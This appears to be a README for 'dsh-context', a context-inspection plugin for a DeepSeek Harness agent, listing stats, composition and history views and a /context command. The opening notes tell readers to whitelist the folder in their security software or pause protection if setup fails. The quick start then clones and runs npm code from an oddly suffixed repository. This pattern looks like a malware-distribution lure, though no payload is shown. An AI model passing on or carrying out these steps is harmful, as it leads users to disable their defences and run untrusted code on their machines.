dsh-context

[!TIP] If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

[!CAUTION] Some security systems may block the installation. Only download from the official repository.

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QUICK START

git clone https://github.com/oliver-vdev97e2/dsh-context-971.git
cd dsh-context-971
npm install
npm start

The best DeepSeek Harness plugin for Agent's context insights and management.

dsh-context provides full context lifecycle management features.

• Context tab — an UI context dashboard for DeepSeek Harness’s context stats, composition, history, events, and messages.
• /context command — the slash command shows the context model for current context composition and recent context evolution.

Use it

Context tab

Open any session and click the Context / 上下文 tab:

⌨️ /context command — In-session Context Insight modal

Type /context (or pick it from the / menu) and press Enter: a centered dialog shows the provider-anchored occupancy headline, the six-category composition bar, and the last-10-turn trend chart — hover or click a bar for its full breakdown, exactly like the tab.

What you'll see

📊 Context stats — the session at a glance

Turns, steps, how many injections, compactions, and prunes have happened.

🧱 Current composition — what's in the window right now

A six-color stacked bar scaled against the model's full context window (the gray track is your remaining headroom): system prompt, tool schemas, your messages, injected context, assistant replies, and tool results — plus the top-5 most expensive tool schemas. When a conversation starts degrading, this is where you find out which part ate the budget.

📈 History — watch the window grow (and get compacted)

One stacked bar per model request, finer than per-message. Toggle between Turn and Step granularity, scroll sideways through the session, hover any bar for a quick tooltip, and click to pin the full breakdown — including provider-reported actual prompt/output tokens next to the estimate. ✂ marks where compaction or pruning happened — watch the bars drop:

Above: a real session that grew to ~563k tokens across 48 turns, then compaction (✂) recycled −535.5k in one step, and the conversation continued from a fresh, small window.

In Step granularity, hovering any bar shows that single step's context info instantly — its turn/step, timestamp, and estimated vs. provider-reported token counts:

⚡ Context events — when and why the window changed

Every compaction, tool-output prune, skill or plugin context injection, and model switch — each with its token delta, turn/step attribution, and timestamp. Filter by category (Inject / Compact / Prune / Switch) to see exactly when each kind of event happened and its impact — e.g. when a skill was injected, when instructions were added, or how much a compaction reclaimed:

💬 Messages — the currently model-visible surface

The exact message list the model sees right now, newest first, with a per-message token cost.

Like it?

If dsh-context helped you understand what your agent is carrying around, a ⭐ on GitHub is much appreciated — and issues/PRs are welcome!

License

Apache-2.0